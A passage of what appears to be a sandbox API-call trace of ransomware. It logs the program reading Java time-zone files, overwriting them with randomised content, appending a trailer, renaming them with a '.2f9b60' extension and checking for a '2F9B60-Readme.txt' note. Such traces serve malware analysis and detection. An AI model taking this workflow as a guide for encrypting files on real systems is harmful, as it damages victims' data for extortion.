(lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Lubumbashi" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\lubumbashi")) returned 0x20 [0165.816] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Lubumbashi", dwFileAttributes=0x20) returned 1 [0167.066] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Lubumbashi" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\lubumbashi"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2c30 [0167.918] GetFileSizeEx (in: hFile=0x2c30, lpFileSize=0x3c40f7c0 | out: lpFileSize=0x3c40f7c0*=27) returned 1 [0167.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18a50 [0167.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18960 [0167.919] NtQuerySystemTime (in: CurrentTime=0x3c40f680 | out: CurrentTime=0x3c40f680*=132462177730426000) returned 0x0 [0167.919] RtlRandomEx (in: Seed=0x3c40f670 | out: Seed=0x3c40f670) returned 0x666ee2a9 [0167.919] RtlRandomEx (in: Seed=0x3c40f670 | out: Seed=0x3c40f670) returned 0x5ce19481 [0167.919] RtlRandomEx (in: Seed=0x3c40f670 | out: Seed=0x3c40f670) returned 0xb826493 [0167.919] RtlRandomEx (in: Seed=0x3c40f670 | out: Seed=0x3c40f670) returned 0x13aa551 [0167.919] RtlRandomEx (in: Seed=0x3c40f670 | out: Seed=0x3c40f670) returned 0x231e4cfd [0167.919] RtlRandomEx (in: Seed=0x3c40f670 | out: Seed=0x3c40f670) returned 0x3dd53f3b [0167.919] RtlRandomEx (in: Seed=0x3c40f670 | out: Seed=0x3c40f670) returned 0x11be705b [0167.919] RtlRandomEx (in: Seed=0x3c40f670 | out: Seed=0x3c40f670) returned 0x468c50d8 [0167.919] RtlRandomEx (in: Seed=0x3c40f670 | out: Seed=0x3c40f670) returned 0x6a3f95c0 [0167.919] RtlRandomEx (in: Seed=0x3c40f670 | out: Seed=0x3c40f670) returned 0x2b4bb4f8 [0167.919] RtlRandomEx (in: Seed=0x3c40f670 | out: Seed=0x3c40f670) returned 0x55b918fb [0167.919] RtlRandomEx (in: Seed=0x3c40f670 | out: Seed=0x3c40f670) returned 0x4e276894 [0167.919] RtlRandomEx (in: Seed=0x3c40f670 | out: Seed=0x3c40f670) returned 0x6fe65fdf [0167.919] RtlRandomEx (in: Seed=0x3c40f670 | out: Seed=0x3c40f670) returned 0x242be1e4 [0167.919] RtlRandomEx (in: Seed=0x3c40f670 | out: Seed=0x3c40f670) returned 0x53a3de2b [0167.919] RtlRandomEx (in: Seed=0x3c40f670 | out: Seed=0x3c40f670) returned 0x1223f985 [0167.919] RtlRandomEx (in: Seed=0x3c40f670 | out: Seed=0x3c40f670) returned 0x2fdae3ab [0167.919] RtlRandomEx (in: Seed=0x3c40f670 | out: Seed=0x3c40f670) returned 0x55cc5e19 [0167.919] RtlRandomEx (in: Seed=0x3c40f670 | out: Seed=0x3c40f670) returned 0x4417c297 [0167.919] RtlRandomEx (in: Seed=0x3c40f670 | out: Seed=0x3c40f670) returned 0x53e4c19a [0167.919] RtlRandomEx (in: Seed=0x3c40f670 | out: Seed=0x3c40f670) returned 0x69e0bc7c [0167.919] RtlRandomEx (in: Seed=0x3c40f670 | out: Seed=0x3c40f670) returned 0x57a6788a [0167.919] RtlRandomEx (in: Seed=0x3c40f670 | out: Seed=0x3c40f670) returned 0x4166cb7 [0167.919] RtlRandomEx (in: Seed=0x3c40f670 | out: Seed=0x3c40f670) returned 0x7bbb84c0 [0167.919] RtlRandomEx (in: Seed=0x3c40f670 | out: Seed=0x3c40f670) returned 0x5ec0078d [0167.919] RtlRandomEx (in: Seed=0x3c40f670 | out: Seed=0x3c40f670) returned 0x276e56c [0167.920] RtlRandomEx (in: Seed=0x3c40f670 | out: Seed=0x3c40f670) returned 0x52e25147 [0167.920] RtlRandomEx (in: Seed=0x3c40f670 | out: Seed=0x3c40f670) returned 0x1e8139a4 [0167.920] RtlRandomEx (in: Seed=0x3c40f670 | out: Seed=0x3c40f670) returned 0xe5a6750 [0167.920] RtlRandomEx (in: Seed=0x3c40f670 | out: Seed=0x3c40f670) returned 0xa7e968d [0167.920] RtlRandomEx (in: Seed=0x3c40f670 | out: Seed=0x3c40f670) returned 0x427fe11c [0167.920] RtlRandomEx (in: Seed=0x3c40f670 | out: Seed=0x3c40f670) returned 0x7c457935 [0167.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18990 [0167.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59930 [0167.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c189f0 [0167.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59930) returned 1 [0167.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18960) returned 1 [0167.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c3d0 [0167.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59930 [0167.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4251f1d0 [0167.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42522de0 [0167.930] ReadFile (in: hFile=0x2c30, lpBuffer=0x4251f1d0, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x3c40f670, lpOverlapped=0x0 | out: lpBuffer=0x4251f1d0*, lpNumberOfBytesRead=0x3c40f670*=0x1b, lpOverlapped=0x0) returned 1 [0167.931] SetFilePointerEx (in: hFile=0x2c30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.931] WriteFile (in: hFile=0x2c30, lpBuffer=0x42522de0*, nNumberOfBytesToWrite=0x1b, lpNumberOfBytesWritten=0x3c40f674, lpOverlapped=0x0 | out: lpBuffer=0x42522de0*, lpNumberOfBytesWritten=0x3c40f674*=0x1b, lpOverlapped=0x0) returned 1 [0182.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202679e0 [0182.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265430 [0182.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265430) returned 1 [0182.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42522de0) returned 1 [0182.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4251f1d0) returned 1 [0182.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59930) returned 1 [0182.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c3d0) returned 1 [0182.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x20265430 [0182.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c3d0 [0182.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59930 [0182.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d30890 [0182.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d30890) returned 1 [0182.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x42d30890 [0182.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d308c0 [0182.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d308f0 [0182.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d308f0) returned 1 [0182.992] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59930) returned 1 [0182.992] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c3d0) returned 1 [0182.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x1cebf580 [0187.270] SetFilePointerEx (in: hFile=0x2c30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0187.270] WriteFile (in: hFile=0x2c30, lpBuffer=0x1cebf580*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3c40f790, lpOverlapped=0x0 | out: lpBuffer=0x1cebf580*, lpNumberOfBytesWritten=0x3c40f790*=0x106, lpOverlapped=0x0) returned 1 [0201.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c7b0 [0201.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061b30 [0201.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202609e0 [0201.814] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202609e0) returned 1 [0201.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x431f8740 [0201.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202609e0 [0201.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262840 [0201.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262840) returned 1 [0201.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061b30) returned 1 [0201.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c7b0) returned 1 [0201.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1ce5e9b0 [0201.817] sprintf (in: _Dest=0x1ce5e9b0, _Format="%c%c" | out: _Dest="e4") returned 2 [0201.817] sprintf (in: _Dest=0x1ce5e9b2, _Format="%c%c" | out: _Dest="c6") returned 2 [0201.817] sprintf (in: _Dest=0x1ce5e9b4, _Format="%c%c" | out: _Dest="c3") returned 2 [0201.817] sprintf (in: _Dest=0x1ce5e9b6, _Format="%c%c" | out: _Dest="96") returned 2 [0201.817] sprintf (in: _Dest=0x1ce5e9b8, _Format="%c%c" | out: _Dest="7d") returned 2 [0201.817] sprintf (in: _Dest=0x1ce5e9ba, _Format="%c%c" | out: _Dest="f1") returned 2 [0201.817] sprintf (in: _Dest=0x1ce5e9bc, _Format="%c%c" | out: _Dest="66") returned 2 [0201.817] sprintf (in: _Dest=0x1ce5e9be, _Format="%c%c" | out: _Dest="51") returned 2 [0201.817] sprintf (in: _Dest=0x1ce5e9c0, _Format="%c%c" | out: _Dest="2f") returned 2 [0201.817] sprintf (in: _Dest=0x1ce5e9c2, _Format="%c%c" | out: _Dest="fc") returned 2 [0201.817] sprintf (in: _Dest=0x1ce5e9c4, _Format="%c%c" | out: _Dest="0c") returned 2 [0201.817] sprintf (in: _Dest=0x1ce5e9c6, _Format="%c%c" | out: _Dest="2d") returned 2 [0201.817] sprintf (in: _Dest=0x1ce5e9c8, _Format="%c%c" | out: _Dest="0a") returned 2 [0201.817] sprintf (in: _Dest=0x1ce5e9ca, _Format="%c%c" | out: _Dest="5c") returned 2 [0201.817] sprintf (in: _Dest=0x1ce5e9cc, _Format="%c%c" | out: _Dest="7e") returned 2 [0201.817] sprintf (in: _Dest=0x1ce5e9ce, _Format="%c%c" | out: _Dest="68") returned 2 [0201.817] sprintf (in: _Dest=0x1ce5e9d0, _Format="%c%c" | out: _Dest="14") returned 2 [0201.817] sprintf (in: _Dest=0x1ce5e9d2, _Format="%c%c" | out: _Dest="54") returned 2 [0201.817] sprintf (in: _Dest=0x1ce5e9d4, _Format="%c%c" | out: _Dest="90") returned 2 [0201.817] sprintf (in: _Dest=0x1ce5e9d6, _Format="%c%c" | out: _Dest="58") returned 2 [0201.817] RtlInitAnsiString (in: DestinationString=0x3c40f808, SourceString="e4c6c3967df166512ffc0c2d0a5c7e6814549058" | out: DestinationString="e4c6c3967df166512ffc0c2d0a5c7e6814549058") [0201.817] RtlAnsiStringToUnicodeString (in: DestinationString=0x3c40f7d8, SourceString="e4c6c3967df166512ffc0c2d0a5c7e6814549058", AllocateDestinationString=1 | out: DestinationString="e4c6c3967df166512ffc0c2d0a5c7e6814549058") returned 0x0 [0201.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b7ceac0 [0201.818] wcscat (in: _Dest=0x202a4b60, _Source="e4c6c3967d" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\e4c6c3967d") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\e4c6c3967d" [0201.818] wcscat (in: _Dest=0x202a4b60, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\e4c6c3967d.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\e4c6c3967d.2f9b60" [0201.818] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\e4c6c3967d.2f9b60", NtPathName=0x3c40f7b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\e4c6c3967d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x431a7c70 [0237.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a7c70) returned 1 [0237.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4320d740) returned 1 [0237.699] NtQueryInformationFile (in: FileHandle=0x2c30, IoStatusBlock=0x3c40f818, FileInformation=0x3c40f828, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3c40f818, FileInformation=0x3c40f828) returned 0x0 [0237.699] NtSetInformationFile (FileHandle=0x2c30, IoStatusBlock=0x3c40f818, FileInformation=0x3c40f828, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4b60) returned 1 [0237.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ceac0) returned 1 [0237.955] FlushFileBuffers (hFile=0x2c30) returned 1 [0238.247] CloseHandle (hObject=0x2c30) returned 1 [0241.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x431a43d0 [0241.696] wcscpy (in: _Dest=0x431a43d0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0241.696] wcscat (in: _Dest=0x431a43d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" [0241.696] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\2f9b60-readme.txt")) returned 0x20 [0243.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a43d0) returned 1 [0243.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf5ea00) returned 1 Thread: id = 2834 os_tid = 0x1a78 [0160.254] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Lusaka" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\lusaka")) returned 0x20 [0165.815] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Lusaka", dwFileAttributes=0x20) returned 1 [0167.066] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Lusaka" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\lusaka"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2c40 [0167.953] GetFileSizeEx (in: hFile=0x2c40, lpFileSize=0x2755f7a0 | out: lpFileSize=0x2755f7a0*=65) returned 1 [0167.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c189c0 [0167.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18930 [0167.954] NtQuerySystemTime (in: CurrentTime=0x2755f660 | out: CurrentTime=0x2755f660*=132462177730738000) returned 0x0 [0167.954] RtlRandomEx (in: Seed=0x2755f650 | out: Seed=0x2755f650) returned 0x15141c41 [0167.954] RtlRandomEx (in: Seed=0x2755f650 | out: Seed=0x2755f650) returned 0x72597488 [0167.954] RtlRandomEx (in: Seed=0x2755f650 | out: Seed=0x2755f650) returned 0x51a442f4 [0167.954] RtlRandomEx (in: Seed=0x2755f650 | out: Seed=0x2755f650) returned 0x1016927e [0167.954] RtlRandomEx (in: Seed=0x2755f650 | out: Seed=0x2755f650) returned 0x2e8246c4 [0167.954] RtlRandomEx (in: Seed=0x2755f650 | out: Seed=0x2755f650) returned 0x110adbfd [0167.954] RtlRandomEx (in: Seed=0x2755f650 | out: Seed=0x2755f650) returned 0x7f81dcb [0167.954] RtlRandomEx (in: Seed=0x2755f650 | out: Seed=0x2755f650) returned 0x705e2d95 [0167.954] RtlRandomEx (in: Seed=0x2755f650 | out: Seed=0x2755f650) returned 0x42734a90 [0167.954] RtlRandomEx (in: Seed=0x2755f650 | out: Seed=0x2755f650) returned 0x1c4eba5a [0167.954] RtlRandomEx (in: Seed=0x2755f650 | out: Seed=0x2755f650) returned 0x170234f7 [0167.954] RtlRandomEx (in: Seed=0x2755f650 | out: Seed=0x2755f650) returned 0x62a6f69f [0167.954] RtlRandomEx (in: Seed=0x2755f650 | out: Seed=0x2755f650) returned 0x46199b83 [0167.954] RtlRandomEx (in: Seed=0x2755f650 | out: Seed=0x2755f650) returned 0x163b84cc [0167.954] RtlRandomEx (in: Seed=0x2755f650 | out: Seed=0x2755f650) returned 0x6ac9e958 [0167.954] RtlRandomEx (in: Seed=0x2755f650 | out: Seed=0x2755f650) returned 0x510d7e7e [0167.954] RtlRandomEx (in: Seed=0x2755f650 | out: Seed=0x2755f650) returned 0x223f9e81 [0167.955] RtlRandomEx (in: Seed=0x2755f650 | out: Seed=0x2755f650) returned 0x1f915b53 [0167.955] RtlRandomEx (in: Seed=0x2755f650 | out: Seed=0x2755f650) returned 0x5f3e2323 [0167.955] RtlRandomEx (in: Seed=0x2755f650 | out: Seed=0x2755f650) returned 0x7dc66ebe [0167.955] RtlRandomEx (in: Seed=0x2755f650 | out: Seed=0x2755f650) returned 0x6eb09381 [0167.955] RtlRandomEx (in: Seed=0x2755f650 | out: Seed=0x2755f650) returned 0x2f0ac3da [0167.955] RtlRandomEx (in: Seed=0x2755f650 | out: Seed=0x2755f650) returned 0xe393e83 [0167.955] RtlRandomEx (in: Seed=0x2755f650 | out: Seed=0x2755f650) returned 0x454d7759 [0167.955] RtlRandomEx (in: Seed=0x2755f650 | out: Seed=0x2755f650) returned 0x1b69eff4 [0167.955] RtlRandomEx (in: Seed=0x2755f650 | out: Seed=0x2755f650) returned 0x45901bcb [0167.955] RtlRandomEx (in: Seed=0x2755f650 | out: Seed=0x2755f650) returned 0x47e1efe [0167.955] RtlRandomEx (in: Seed=0x2755f650 | out: Seed=0x2755f650) returned 0x19ea62e4 [0167.955] RtlRandomEx (in: Seed=0x2755f650 | out: Seed=0x2755f650) returned 0x1c21126f [0167.955] RtlRandomEx (in: Seed=0x2755f650 | out: Seed=0x2755f650) returned 0x2c619ba2 [0167.955] RtlRandomEx (in: Seed=0x2755f650 | out: Seed=0x2755f650) returned 0x2fa8cda0 [0167.955] RtlRandomEx (in: Seed=0x2755f650 | out: Seed=0x2755f650) returned 0x3e4b3df9 [0167.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18900 [0167.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b430 [0167.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18360 [0167.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b430) returned 1 [0167.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18930) returned 1 [0167.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c470 [0167.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b430 [0167.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429716b0 [0167.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429752c0 [0167.966] ReadFile (in: hFile=0x2c40, lpBuffer=0x429716b0, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x2755f650, lpOverlapped=0x0 | out: lpBuffer=0x429716b0*, lpNumberOfBytesRead=0x2755f650*=0x41, lpOverlapped=0x0) returned 1 [0167.967] SetFilePointerEx (in: hFile=0x2c40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.967] WriteFile (in: hFile=0x2c40, lpBuffer=0x429752c0*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x2755f654, lpOverlapped=0x0 | out: lpBuffer=0x429752c0*, lpNumberOfBytesWritten=0x2755f654*=0x41, lpOverlapped=0x0) returned 1 [0183.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420520e0 [0183.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d33140 [0183.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d33140) returned 1 [0183.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429752c0) returned 1 [0183.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429716b0) returned 1 [0183.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b430) returned 1 [0183.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c470) returned 1 [0183.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42d33140 [0183.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c470 [0183.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b430 [0183.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d33170 [0183.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d33170) returned 1 [0183.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42d33170 [0183.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d331a0 [0183.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d331d0 [0183.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d331d0) returned 1 [0183.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b430) returned 1 [0183.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c470) returned 1 [0183.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfe) returned 0x43170720 [0191.389] SetFilePointerEx (in: hFile=0x2c40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0191.389] WriteFile (in: hFile=0x2c40, lpBuffer=0x43170720*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x2755f770, lpOverlapped=0x0 | out: lpBuffer=0x43170720*, lpNumberOfBytesWritten=0x2755f770*=0xfe, lpOverlapped=0x0) returned 1 [0201.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d990 [0201.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac13d0 [0201.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac13d0) returned 1 [0201.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b82d2a0 [0201.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac13d0 [0201.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1490 [0201.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1490) returned 1 [0201.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d990) returned 1 [0201.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x19) returned 0x42ac1490 [0201.250] sprintf (in: _Dest=0x42ac1490, _Format="%c%c" | out: _Dest="e0") returned 2 [0201.250] sprintf (in: _Dest=0x42ac1492, _Format="%c%c" | out: _Dest="00") returned 2 [0201.250] sprintf (in: _Dest=0x42ac1494, _Format="%c%c" | out: _Dest="8f") returned 2 [0201.250] sprintf (in: _Dest=0x42ac1496, _Format="%c%c" | out: _Dest="64") returned 2 [0201.250] sprintf (in: _Dest=0x42ac1498, _Format="%c%c" | out: _Dest="5b") returned 2 [0201.250] sprintf (in: _Dest=0x42ac149a, _Format="%c%c" | out: _Dest="29") returned 2 [0201.250] sprintf (in: _Dest=0x42ac149c, _Format="%c%c" | out: _Dest="5a") returned 2 [0201.250] sprintf (in: _Dest=0x42ac149e, _Format="%c%c" | out: _Dest="95") returned 2 [0201.250] sprintf (in: _Dest=0x42ac14a0, _Format="%c%c" | out: _Dest="17") returned 2 [0201.250] sprintf (in: _Dest=0x42ac14a2, _Format="%c%c" | out: _Dest="a1") returned 2 [0201.250] sprintf (in: _Dest=0x42ac14a4, _Format="%c%c" | out: _Dest="34") returned 2 [0201.250] sprintf (in: _Dest=0x42ac14a6, _Format="%c%c" | out: _Dest="56") returned 2 [0201.251] RtlInitAnsiString (in: DestinationString=0x2755f7e8, SourceString="e0008f645b295a9517a13456" | out: DestinationString="e0008f645b295a9517a13456") [0201.251] RtlAnsiStringToUnicodeString (in: DestinationString=0x2755f7b8, SourceString="e0008f645b295a9517a13456", AllocateDestinationString=1 | out: DestinationString="e0008f645b295a9517a13456") returned 0x0 [0201.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x43118860 [0201.251] wcscat (in: _Dest=0x431070b0, _Source="e0008f" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\e0008f") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\e0008f" [0201.251] wcscat (in: _Dest=0x431070b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\e0008f.2f9b60") returned="C:\\Program Files 